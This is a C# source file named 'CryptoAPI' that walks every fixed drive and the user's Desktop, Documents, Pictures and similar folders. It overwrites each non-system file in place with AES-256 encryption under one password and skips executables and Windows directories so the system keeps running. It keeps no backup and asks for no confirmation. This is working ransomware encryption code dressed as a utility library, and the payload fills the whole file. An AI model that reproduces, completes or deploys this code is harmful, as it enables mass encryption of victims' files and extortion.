using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Threading.Tasks; namespace CryptoAPI { public static class Crypto { private static string _password; private static string _salt = "CRYPTO_SALT_2024"; private static int _iterations = 10000; private static string _selectedDrives = "ALL"; private static int _currentFile = 0; private static int _totalFiles = 0; private static readonly object _lockObj = new object(); private static readonly string[] SafeUserFolders = new string[] { "Desktop", "Documents", "Downloads", "Pictures", "Videos", "Music", "OneDrive", "Favorites", "Links", "Contacts", "Searches", "Saved Games" }; public static List ExcludeDirectories = new List { "Windows", "Program Files", "Program Files (x86)", "ProgramData", "System Volume Information", "$Recycle.Bin", "Recovery", "System32", "SysWOW64", "WinSxS", "Boot" }; public static List ExcludeExtensions = new List { ".exe", ".dll", ".sys", ".msi", ".com", ".bat", ".cmd" }; public static long MaxFileSize = 100 * 1024 * 1024; public static bool EncryptSubdirectories = true; public static List CustomPaths = new List(); public static event Action OnLog; public static event Action OnProgress; public static void SetDrivers(string drives) { _selectedDrives = drives.ToUpper().Replace(" ", ""); Console.WriteLine($"Drivers set to: {_selectedDrives}"); } public static class Enc { public static async Task Key(string password) { await Crypto.ProcessCrypto(password, true); } } public static class Dec { public static async Task Key(string password) { await Crypto.ProcessCrypto(password, false); } } private static async Task ProcessCrypto(string password, bool isEncrypt) { _password = password; string mode = isEncrypt ? "ENCRYPTION" : "DECRYPTION"; Console.Clear(); Console.WriteLine($"=== CRYPTO {mode} STARTED ==="); Console.WriteLine($"Password: {MaskPassword(password)}"); Console.WriteLine($"Time: {DateTime.Now:yyyy-MM-dd HH:mm:ss}"); Console.WriteLine($"Drivers: {_selectedDrives}"); Console.WriteLine(new string('=', 60)); OnLog?.Invoke($"=== {mode} STARTED - Drivers: {_selectedDrives} ==="); List pathsToProcess = GetPathsToProcess(); Console.WriteLine($"\nPaths to process:"); foreach (string path in pathsToProcess) { Console.WriteLine($" 📁 {path}"); } Console.WriteLine(new string('=', 60)); Console.WriteLine(); // Reset counter _currentFile = 0; // Hitung total file _totalFiles = 0; foreach (string path in pathsToProcess) { if (Directory.Exists(path)) { _totalFiles += CountFilesInDirectory(path); } else if (File.Exists(path)) { _totalFiles++; } } Console.WriteLine($"Total potential files: {_totalFiles}"); Console.WriteLine(new string('-', 60)); // Proses setiap path foreach (string path in pathsToProcess) { if (Directory.Exists(path)) { await ProcessDirectory(path, isEncrypt); } else if (File.Exists(path)) { await ProcessSingleFile(path, isEncrypt); } } Console.WriteLine(new string('=', 60)); Console.WriteLine($"=== {mode} COMPLETED ==="); Console.WriteLine($"Total Files Processed: {_currentFile}"); Console.WriteLine(new string('=', 60)); OnLog?.Invoke($"{mode} DONE - Total: {_currentFile} files"); OnProgress?.Invoke(_currentFile, _totalFiles); } private static List GetPathsToProcess() { if (CustomPaths != null && CustomPaths.Count > 0) { return new List(CustomPaths); } var paths = new List(); if (_selectedDrives == "ALL") { DriveInfo[] allDrives = DriveInfo.GetDrives(); foreach (DriveInfo drive in allDrives) { if (drive.IsReady && drive.DriveType == DriveType.Fixed) { if (drive.Name.StartsWith("C:")) { AddSafeUserPaths(paths); } else { paths.Add(drive.RootDirectory.FullName); } } } } else { string[] selectedDrives = _selectedDrives.Split(','); foreach (string driveLetter in selectedDrives) { string driveRoot = $"{driveLetter.Trim()}:\\"; if (!Directory.Exists(driveRoot)) { Console.WriteLine($"⚠️ Drive {driveLetter} not found or not ready"); continue; } if (driveLetter.Trim().Equals("C", StringComparison.OrdinalIgnoreCase)) { AddSafeUserPaths(paths); } else { paths.Add(driveRoot); } } } return paths.Distinct().ToList(); } private static void AddSafeUserPaths(List paths) { string userProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); foreach (string folder in SafeUserFolders) { string fullPath = Path.Combine(userProfile, folder); if (Directory.Exists(fullPath)) { paths.Add(fullPath); } } } private static int CountFilesInDirectory(string path) { int count = 0; try { string dirName = Path.GetFileName(path); if (ExcludeDirectories.Any(d => d.Equals(dirName, StringComparison.OrdinalIgnoreCase))) { return 0; } foreach (string file in Directory.GetFiles(path)) { if (ShouldProcessFile(file)) { count++; } } if (EncryptSubdirectories) { foreach (string dir in Directory.GetDirectories(path)) { count += CountFilesInDirectory(dir); } } } catch { } return count; } private static async Task ProcessDirectory(string path, bool isEncrypt) { try { string dirName = Path.GetFileName(path); if (ExcludeDirectories.Any(d => d.Equals(dirName, StringComparison.OrdinalIgnoreCase))) { Console.WriteLine($"⏭️ SKIP Directory: {dirName}"); return; } if (IsWindowsSystemDirectory(path)) { Console.WriteLine($"⏭️ SKIP System Directory: {dirName}"); return; } string[] files = Directory.GetFiles(path); foreach (string file in files) { await ProcessSingleFile(file, isEncrypt); } if (EncryptSubdirectories) { string[] subDirs = Directory.GetDirectories(path); foreach (string subDir in subDirs) { await ProcessDirectory(subDir, isEncrypt); } } } catch (Exception ex) { Console.WriteLine($"❌ Error accessing directory {Path.GetFileName(path)}: {ex.Message}"); } } private static async Task ProcessSingleFile(string filePath, bool isEncrypt) { string fileName = Path.GetFileName(filePath); string drive = Path.GetPathRoot(filePath)?.TrimEnd('\\') ?? "Unknown"; string action = isEncrypt ? "ENCRYPTED" : "DECRYPTED"; string icon = isEncrypt ? "🔒" : "🔓"; try { if (!ShouldProcessFile(filePath)) { return; } await Task.Run(() => { byte[] data = File.ReadAllBytes(filePath); byte[] result = isEncrypt ? EncryptData(data, _password) : DecryptData(data, _password); if (result != null) { File.WriteAllBytes(filePath, result); string logMsg = $"[{drive}] {icon} {fileName} - {action} ({data.Length / 1024} KB)"; Console.WriteLine(logMsg); OnLog?.Invoke(logMsg); } else { string logMsg = $"[{drive}] ❌ {fileName} - FAILED"; Console.WriteLine(logMsg); OnLog?.Invoke(logMsg); } }); lock (_lockObj) { _currentFile++; } OnProgress?.Invoke(_currentFile, _totalFiles); } catch (Exception ex) { Console.WriteLine($"[{drive}] ❌ {fileName} - ERROR: {ex.Message}"); OnLog?.Invoke($"ERROR: {fileName} - {ex.Message}"); } } private static bool ShouldProcessFile(string filePath) { try { string ext = Path.GetExtension(filePath).ToLower(); if (ExcludeExtensions.Contains(ext)) return false; FileAttributes attr = File.GetAttributes(filePath); if ((attr & (FileAttributes.System | FileAttributes.Hidden)) != 0) return false; FileInfo fi = new FileInfo(filePath); if (fi.Length == 0 || fi.Length > MaxFileSize) return false; if (IsExecutable(filePath)) return false; return true; } catch { return false; } } private static bool IsExecutable(string filePath) { string ext = Path.GetExtension(filePath).ToLower(); string[] executableExtensions = { ".exe", ".dll", ".sys", ".com", ".bat", ".cmd", ".msi", ".scr" }; return executableExtensions.Contains(ext); } private static bool IsWindowsSystemDirectory(string path) { string pathLower = path.ToLower(); return pathLower.Contains("\\windows\\") || pathLower.Contains("\\program files\\") || pathLower.Contains("\\program files (x86)\\") || pathLower.Contains("\\programdata\\") || pathLower.Contains("\\system volume information\\") || pathLower.Contains("\\$recycle.bin\\"); } private static byte[] EncryptData(byte[] data, string password) { try { using (Aes aes = Aes.Create()) { aes.KeySize = 256; aes.BlockSize = 128; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; byte[] salt = Encoding.UTF8.GetBytes(_salt); using (var deriveBytes = new Rfc2898DeriveBytes(password, salt, _iterations)) { aes.Key = deriveBytes.GetBytes(32); aes.IV = deriveBytes.GetBytes(16); } using (var encryptor = aes.CreateEncryptor()) using (var ms = new MemoryStream()) { using (var cs = new CryptoStream(ms, encryptor, CryptoStreamMode.Write)) { cs.Write(data, 0, data.Length); cs.FlushFinalBlock(); } return ms.ToArray(); } } } catch (Exception ex) { Console.WriteLine($"Encryption error: {ex.Message}"); return null; } } private static byte[] DecryptData(byte[] data, string password) { try { using (Aes aes = Aes.Create()) { aes.KeySize = 256; aes.BlockSize = 128; aes.Mode = CipherMode.CBC; aes.Padding = PaddingMode.PKCS7; byte[] salt = Encoding.UTF8.GetBytes(_salt); using (var deriveBytes = new Rfc2898DeriveBytes(password, salt, _iterations)) { aes.Key = deriveBytes.GetBytes(32); aes.IV = deriveBytes.GetBytes(16); } using (var decryptor = aes.CreateDecryptor()) using (var ms = new MemoryStream()) { using (var cs = new CryptoStream(ms, decryptor, CryptoStreamMode.Write)) { cs.Write(data, 0, data.Length); cs.FlushFinalBlock(); } return ms.ToArray(); } } } catch (Exception ex) { Console.WriteLine($"Decryption error: {ex.Message}"); return null; } } public static void ShowConsole() { Win32.AllocConsole(); Console.Title = "CryptoAPI Console"; Console.BackgroundColor = ConsoleColor.Black; Console.ForegroundColor = ConsoleColor.Green; Console.Clear(); Console.WriteLine("CryptoAPI Console Ready"); Console.WriteLine("========================"); Console.WriteLine("Commands:"); Console.WriteLine(" Crypto.Enc.Key(\"password\")"); Console.WriteLine(" Crypto.Dec.Key(\"password\")"); Console.WriteLine("========================"); } public static void HideConsole() { Win32.FreeConsole(); } private static string MaskPassword(string password) { if (string.IsNullOrEmpty(password)) return ""; if (password.Length <= 4) return new string('*', password.Length); return password.Substring(0, 2) + new string('*', password.Length - 4) + password.Substring(password.Length - 2); } } internal static class Win32 { [DllImport("kernel32.dll")] public static extern bool AllocConsole(); [DllImport("kernel32.dll")] public static extern bool FreeConsole(); [DllImport("kernel32.dll")] public static extern IntPtr GetConsoleWindow(); [DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); public const int SW_HIDE = 0; public const int SW_SHOW = 5; } }